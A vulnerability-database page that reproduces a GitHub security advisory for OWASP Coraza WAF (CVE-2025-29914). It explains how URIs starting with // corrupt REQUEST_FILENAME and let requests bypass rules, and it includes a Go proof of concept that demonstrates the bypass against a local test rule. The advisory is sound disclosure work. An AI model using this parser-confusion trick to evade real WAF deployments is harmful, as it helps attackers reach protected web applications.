GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-Q9F5-625G-XM39

Vulnerability from github – Published: 2025-03-20 18:48 – Updated: 2025-03-20 18:48
VLAI
Summary
OWASP Coraza WAF has parser confusion which leads to wrong URI in `REQUEST_FILENAME`
Details

Summary

URLs starting with // are not parsed properly, and the request REQUEST_FILENAME variable contains a wrong value, leading to potential rules bypass.

Details

If a request is made on an URI starting with //, coraza will set a wrong value in REQUEST_FILENAME. For example, if the URI //bar/uploads/foo.php?a=b is passed to coraza: , REQUEST_FILENAME will be set to /uploads/foo.php.

The root cause is the usage of url.Parse to parse the URI in ProcessURI.

url.Parse can parse both absolute URLs (starting with a scheme) or relative ones (just the path). //bar/uploads/foo.php is a valid absolute URI (the scheme is empty), url.Parse will consider bar as the host and the path will be set to /uploads/foo.php.

PoC

package main

import (
    "fmt"
    "net/url"
    "os"

    "github.com/corazawaf/coraza/v3"
)

const testRule = `
SecDebugLogLevel 9
SecDebugLog /dev/stdout
SecRule REQUEST_FILENAME "@rx /bar/uploads/.*\.(h?ph(p|tm?l?|ar)|module|shtml)" "id:1,phase:1,deny"
`

func main() {
    var testURL = "//bar/uploads/foo.php"

    if os.Getenv("TEST_URL") != "" {
        testURL = os.Getenv("TEST_URL")
    }

    fmt.Printf("Testing URL: %s\n", testURL)

    config := coraza.NewWAFConfig().WithDirectives(testRule)

    waf, err := coraza.NewWAF(config)

    if err != nil {
        panic(err)
    }

    tx := waf.NewTransaction()

    tx.ProcessURI(testURL, "GET", "HTTP/1.1")

    in := tx.ProcessRequestHeaders()

    if in != nil {
        fmt.Printf("%+v\n", in)
    }
}

Impact

Potential bypass of rules using REQUEST_FILENAME.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/jptosso/coraza-waf"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.3.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/corazawaf/coraza/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.3.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-29914"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-706"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-20T18:48:38Z",
    "nvd_published_at": "2025-03-20T18:15:18Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nURLs starting with `//` are not parsed properly, and the request `REQUEST_FILENAME` variable contains a wrong value, leading to potential rules bypass.\n\n### Details\n\nIf a request is made on an URI starting with `//`, coraza will set a wrong value in `REQUEST_FILENAME`.\nFor example, if the URI `//bar/uploads/foo.php?a=b` is passed to coraza: , `REQUEST_FILENAME` will be set to `/uploads/foo.php`.\n\nThe root cause is the usage of `url.Parse` to parse the URI in [ProcessURI](https://github.com/corazawaf/coraza/blob/8b612f4e6e18c606e371110227bc7669dc714cab/internal/corazawaf/transaction.go#L768).\n\n`url.Parse` can parse both absolute URLs (starting with a scheme) or relative ones (just the path). \n`//bar/uploads/foo.php` is a valid absolute URI (the scheme is empty), `url.Parse` will consider `bar` as the host and the path will be set to `/uploads/foo.php`.\n\n### PoC\n\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"net/url\"\n\t\"os\"\n\n\t\"github.com/corazawaf/coraza/v3\"\n)\n\nconst testRule = `\nSecDebugLogLevel 9\nSecDebugLog /dev/stdout\nSecRule REQUEST_FILENAME \"@rx /bar/uploads/.*\\.(h?ph(p|tm?l?|ar)|module|shtml)\" \"id:1,phase:1,deny\"\n`\n\nfunc main() {\n\tvar testURL = \"//bar/uploads/foo.php\"\n\n\tif os.Getenv(\"TEST_URL\") != \"\" {\n\t\ttestURL = os.Getenv(\"TEST_URL\")\n\t}\n\n\tfmt.Printf(\"Testing URL: %s\\n\", testURL)\n\n\tconfig := coraza.NewWAFConfig().WithDirectives(testRule)\n\n\twaf, err := coraza.NewWAF(config)\n\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\ttx := waf.NewTransaction()\n\n\ttx.ProcessURI(testURL, \"GET\", \"HTTP/1.1\")\n\n\tin := tx.ProcessRequestHeaders()\n\n\tif in != nil {\n\t\tfmt.Printf(\"%+v\\n\", in)\n\t}\n}\n```\n\n### Impact\n\nPotential bypass of rules using `REQUEST_FILENAME`.",
  "id": "GHSA-q9f5-625g-xm39",
  "modified": "2025-03-20T18:48:38Z",
  "published": "2025-03-20T18:48:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/corazawaf/coraza/security/advisories/GHSA-q9f5-625g-xm39"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-29914"
    },
    {
      "type": "WEB",
      "url": "https://github.com/corazawaf/coraza/commit/4722c9ad0d502abd56b8d6733c6b47eb4111742d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/corazawaf/coraza"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OWASP Coraza WAF has parser confusion which leads to wrong URI in `REQUEST_FILENAME`"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…